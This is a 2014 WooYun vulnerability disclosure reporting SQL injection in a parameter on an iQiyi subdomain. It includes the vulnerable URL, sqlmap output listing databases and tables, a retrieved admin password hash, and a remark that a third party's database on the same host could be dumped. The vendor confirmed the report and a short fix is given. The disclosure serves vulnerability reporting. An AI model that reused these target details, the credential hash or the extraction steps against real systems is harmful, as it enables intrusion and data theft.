当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-048691

漏洞标题：爱奇艺某分站sql注入漏洞一枚

相关厂商：奇艺

漏洞作者： IT P民

提交时间：2014-01-12 22:05

修复时间：2014-02-26 22:06

公开时间：2014-02-26 22:06

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-12： 细节已通知厂商并且等待厂商处理中
2014-01-12： 厂商已经确认，细节仅向厂商公开
2014-01-22： 细节向核心白帽子及相关领域专家公开
2014-02-01： 细节向普通白帽子公开
2014-02-11： 细节向实习白帽子公开
2014-02-26： 细节向公众公开

简要描述：

貌似是鸡肋，没继续深入，不过root连接mysql,确认挺危险的

详细说明：

问题链接
http://tcl.iqiyi.com/index.php?action=daoyanjianjie&id=14
获得当前用户

[23:27:01] [INFO] testing MySQL
[23:27:01] [INFO] confirming MySQL
[23:27:01] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Nginx
back-end DBMS: MySQL >= 5.0.0
[23:27:01] [INFO] fetching current user
current user:    'root@localhost'


获得数据库名

[23:22:45] [INFO] fetching database names
[23:22:45] [INFO] the SQL query used returns 14 entries
[23:22:45] [INFO] resumed: "information_schema"
[23:22:45] [INFO] resumed: "ccs"
[23:22:45] [INFO] resumed: "cmdb_vip"
[23:22:45] [INFO] resumed: "common_cms"
[23:22:45] [INFO] resumed: "hk"
[23:22:45] [INFO] resumed: "ims"
[23:22:45] [INFO] resumed: "mysql"
[23:22:45] [INFO] resumed: "suc"
[23:22:45] [INFO] resumed: "t_eye"
[23:22:45] [INFO] resumed: "tcl"
[23:22:45] [INFO] resumed: "tcl_test"
[23:22:45] [INFO] resumed: "test"
[23:22:45] [INFO] resumed: "weixin"
[23:22:45] [INFO] resumed: "wx"
available databases [14]:                                                                                                                                                           
[*] ccs
[*] cmdb_vip
[*] common_cms
[*] hk
[*] ims
[*] information_schema
[*] mysql
[*] suc
[*] t_eye
[*] tcl
[*] tcl_test
[*] test
[*] weixin
[*] wx


获得某个库所有表

[23:11:11] [INFO] starting 10 threads
[23:11:12] [INFO] retrieved: "tp_article"
[23:11:12] [INFO] retrieved: "tp_areply"
[23:11:12] [INFO] retrieved: "tp_access"
[23:11:12] [INFO] retrieved: "tp_flash"
[23:11:13] [INFO] retrieved: "tp_follow"
[23:11:13] [INFO] retrieved: "tp_adma"
[23:11:13] [INFO] retrieved: "tp_call"
[23:11:13] [INFO] retrieved: "tp_diymen_class"
[23:11:13] [INFO] retrieved: "tp_case"
[23:11:13] [INFO] retrieved: "tp_home"
[23:11:13] [INFO] retrieved: "tp_api"
[23:11:13] [INFO] retrieved: "tp_company"
[23:11:13] [INFO] retrieved: "tp_host"
[23:11:13] [INFO] retrieved: "tp_host_order"
[23:11:13] [INFO] retrieved: "tp_diymen_set"
[23:11:14] [INFO] retrieved: "tp_host_list_add"
[23:11:14] [INFO] retrieved: "tp_indent"
[23:11:14] [INFO] retrieved: "tp_function"
[23:11:14] [INFO] retrieved: "tp_lottery"
[23:11:14] [INFO] retrieved: "tp_keyword"
[23:11:14] [INFO] retrieved: "tp_classify"
[23:11:14] [INFO] retrieved: "tp_member_card_coupon"
[23:11:14] [INFO] retrieved: "tp_member_card_contact"
[23:11:14] [INFO] retrieved: "tp_member_card_create"
[23:11:14] [INFO] retrieved: "tp_dream"
[23:11:14] [INFO] retrieved: "tp_img"
[23:11:14] [INFO] retrieved: "tp_member_card_exchange"
[23:11:14] [INFO] retrieved: "tp_member"
[23:11:14] [INFO] retrieved: "tp_member_card_info"
[23:11:14] [INFO] retrieved: "tp_member_card_sign"
[23:11:15] [INFO] retrieved: "tp_member_card_vip"
[23:11:15] [INFO] retrieved: "tp_member_card_set"
[23:11:15] [INFO] retrieved: "tp_member_card_integral"


拿到了加密后的管理员密码，比较难解，算比较鸡肋的sql注入漏洞

[01:54:56] [INFO] fetching SQL SELECT statement query output: 'select user_pass from tcl.admin'
[01:54:56] [INFO] the SQL query used returns 1 entries
[01:54:56] [INFO] retrieved: "1c161ff0c3892f845d0cb4928287753e"
select user_pass from tcl.admin; [1]:                                                                                                                                               
[*] 1c161ff0c3892f845d0cb4928287753e


看起来这台主机并不是爱奇艺的，不过用着爱奇艺的子域名，就报给iqiyi了。
乱入同一台主机的一个公司的db weixin，可拖库，可看到其用户名密码啥的

QQ20140112-5.png


漏洞证明：

拿到了加密后的管理员密码，比较难解，算比较鸡肋的sql注入漏洞

[01:54:56] [INFO] fetching SQL SELECT statement query output: 'select user_pass from tcl.admin'
[01:54:56] [INFO] the SQL query used returns 1 entries
[01:54:56] [INFO] retrieved: "1c161ff0c3892f845d0cb4928287753e"
select user_pass from tcl.admin; [1]:                                                                                                                                               
[*] 1c161ff0c3892f845d0cb4928287753e

修复方案：

过滤参数

版权声明：转载请注明来源 IT P民@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-01-12 22:26

厂商回复：

谢谢您提供的漏洞，我们会加紧进行修复！

最新状态：

暂无